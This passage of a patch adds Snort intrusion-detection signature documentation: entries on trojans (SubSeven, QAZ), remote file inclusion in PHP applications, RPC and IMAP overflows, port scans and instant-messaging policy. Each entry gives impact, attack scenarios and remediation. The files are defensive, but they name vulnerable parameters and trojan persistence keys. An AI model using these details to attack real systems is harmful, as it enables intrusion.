+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServices
+	HKEY_LOCAL_MACHINE\Hardware\Data
+	HKEY_LOCAL_MACHINE\Hardware\Enum
+	HKEY_LOCAL_MACHINE\Software\Microsoft\DirectXMedia
+
+Registry keys added are:
+
+	HKEY_CLASSES_ROOT\.dl
+
+Removal of the replicant is also required, look for files ending in 
+".exe" or ".dll" in the <drive>:\Windows\ or <drive>:\Windows\System\ 
+folders that use alphanumeric file names. The name of the replicant may 
+be in one of the registry keys above.
+
+A machine reboot is required to clear the existing process from running 
+in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Hackfix
+http://www.hackfix.org/subseven/
+
+McAfee
+http://vil.mcafee.com/dispVirus.asp?virus_k=10566
+http://vil.nai.com/vil/content/v_10566.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/backdoor.subseven22.html
+
+F-Secure:
+http://www.f-secure.com/v-descs/subseven.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/915.txt
+++ snort-2.7.0/doc/signatures/915.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+915
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2461.txt
+++ snort-2.7.0/doc/signatures/2461.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2461
+
+--
+Summary:
+This event is generated when a user on a host in your network that is 
+running Yahoo Instant Messenger is viewing a webcam or listening to an 
+audio message of another Yahoo IM user.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be 
+appropriate in certain network environments.
+
+--
+Detailed Information:
+This event indicates that a Yahoo IM user in your network is requesting 
+to view a webcam of another Yahoo IM user.  While there are no known 
+exploits associated with showing or viewing webcams, or listening to 
+audio messages.  it is possible that this activity is inappropriate in 
+certain environments.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No known attack scenarios.
+
+--
+Ease of Attack:
+No known attack scenarios.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the 
+default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or 
+implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/100000718.txt
+++ snort-2.7.0/doc/signatures/100000718.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000718
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "guilds.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "guilds.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2982.txt
+++ snort-2.7.0/doc/signatures/2982.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2982
+
+--
+Summary:
+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.7.0.orig/doc/signatures/100000733.txt
+++ snort-2.7.0/doc/signatures/100000733.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000733
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "MTBlackList.Examine.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "MTBlackList.Examine.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2664.txt
+++ snort-2.7.0/doc/signatures/2664.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2664
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against an IMAP server.
+
+--
+Impact:
+Serious. A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the IMAP daemon.
+
+--
+Detailed Information:
+Some versions of the Courier IMAP daemon are vulnerable to format string
+exploits prior to and during authentication to the IMAP server.  A
+successful exploit attempt could result in the remote attacker gaining
+unauthorized root access to a vulnerable system.
+
+--
+Affected Systems:
+	Courier IMAP server versions 1.6 though 3.0.2
+
+--
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+This rule may generate an event if the password for a valid user contains 
+the character "%".
+
+--
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/623.txt
+++ snort-2.7.0/doc/signatures/623.txt
@@ -0,0 +1,67 @@
+Rule:
+--
+Sid:
+623
+--
+Summary:
+A tcp packet with none of it's control bits set was detected.
+
+--
+Impact:
+Information regarding firewall rulesets, open/closed ports, ACLs, and
+possibly even OS type is possible.  This technique can also be used to
+bypass certain firewalls or traffic filtering/shaping devices.
+
+--
+Detailed Information:
+A tcp packet with none of it's control bits (URG, ACK, PSH, RST, SYN,
+FIN) was detected.  Additionally, both the sequence number and
+acknowledgement number were set to 0.  An open port will generally not
+respond at all, whereas a closed port will generally respond with an
+ACK RST.  The particular response varies between operating systems,
+and is also governed by any filtering that may be done between the two
+hosts.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of information gathering leading up to another (more directed)
+attack, an attacker may attempt to figure out what ports are
+open/closed on a remote machine.
+
+--
+Ease of Attack:
+Intermediate.  To initiate an attack of this type, an attacker either
+needs a tool that can send tcp packets with no control bits  set or
+the ability to craft their own packets.  The former is easy, the later
+requires a more advanced skillset.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine if this particular port would have responded as being open
+or closed.  If open, watch for more attacks on this particular service
+or from the remote machine that sent the packet.  If closed, simply
+watch for more traffic from this host.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2680.txt
+++ snort-2.7.0/doc/signatures/2680.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2680
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure subindexpopulate
+. This procedure is included in
+ctxsys.driddlr.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1208.txt
+++ snort-2.7.0/doc/signatures/1208.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1208
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-13.txt
+++ snort-2.7.0/doc/signatures/122-13.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-13
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ips
+filtered protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/1964.txt
+++ snort-2.7.0/doc/signatures/1964.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1964
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) ToolTalk.
+
+--
+Impact:
+Remote root access. This attack may permit the execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The ttdbserverd RPC service, more commonly known as the ToolTalk
+database server, allows applications to communicate in the Common
+Desktop Environment (CDE).  The ToolTalk service receives ToolTalk
+messages created and sent by applications and delivers them to the
+appropriate recipient applications.  The ToolTalk database server is
+enabled by default on hosts with CDE.  A function in the code receives
+an argument for a pathname.  If an overly long pathname is passed to the
+function, a buffer overflow may occur, possibly allowing the execution
+of arbitrary commands with the privileges of root.
+
+--
+Affected Systems:
+	HP HP-UX 10.10, 10.20, 10.30, 11.0
+	IBM AIX 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.2, 4.2.1, 4.3
+	SGI IRIX 5.2, 5.3, 6.0, 6.0.1, 6.2, 6.3, 6.4
+	Sun Solaris 1.1, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2, 2.0, 2.1, 2.2, 2.3,
+	2.4, 2.5, 2.5.1, 2.6
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where
+ttdbserverd runs.  Alternately, an attacker may attempt to execute the
+exploit code on any listening port in the RPC range if the portmapper is
+blocked.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/733.txt
+++ snort-2.7.0/doc/signatures/733.txt
@@ -0,0 +1,97 @@
+Rule:
+
+--
+Sid:
+733
+
+--
+Summary:
+QAZ is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry.
+
+The Trojan changes system startup files and registry settings to add the QAZ sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	108	QAZ Worm Client Login access
+	731	Virus - Possible QAZ Worm (Indicates worm activity)
+	775	Virus - Possible QAZ Worm Infection (Indicates worm activity)
+	733	Virus - Possible QAZ Worm Calling Home (Indicates the worm is trying to send mail)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+
+Registry keys added are:
+
+	StartIE=C:\WINDOWS\notepad.exe qazwsx.hsq
+
+This will start the Trojan each time notepad is executed.
+
+Look for the existence of the file note.com. The file notepad.exe may have been replaced with a Trojaned version that is approximately 120 kb in size (the original is 52 kb).
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS501
+http://www.whitehats.com/info/IDS498
+http://www.whitehats.com/info/IDS499
+
+McAfee
+http://vil.nai.com/vil/content/v_98775.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.qaz.a.html
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/qaz.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/1165.txt
+++ snort-2.7.0/doc/signatures/1165.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1165
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2575.txt
+++ snort-2.7.0/doc/signatures/2575.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2575
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1118.txt
+++ snort-2.7.0/doc/signatures/1118.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1118
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2294.txt
+++ snort-2.7.0/doc/signatures/2294.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2294
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3332.txt
+++ snort-2.7.0/doc/signatures/3332.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3332
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1633.txt
+++ snort-2.7.0/doc/signatures/1633.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid: 1633
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000499.txt
+++ snort-2.7.0/doc/signatures/100000499.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000499
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PictureDis" application running on a webserver. 
+Access to the file "thumstbl.php" using a remote file being passed as the 
+"lang" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "lang" parameter in the "thumstbl.php" script used by 
+the "PictureDis" application running on a webserver.
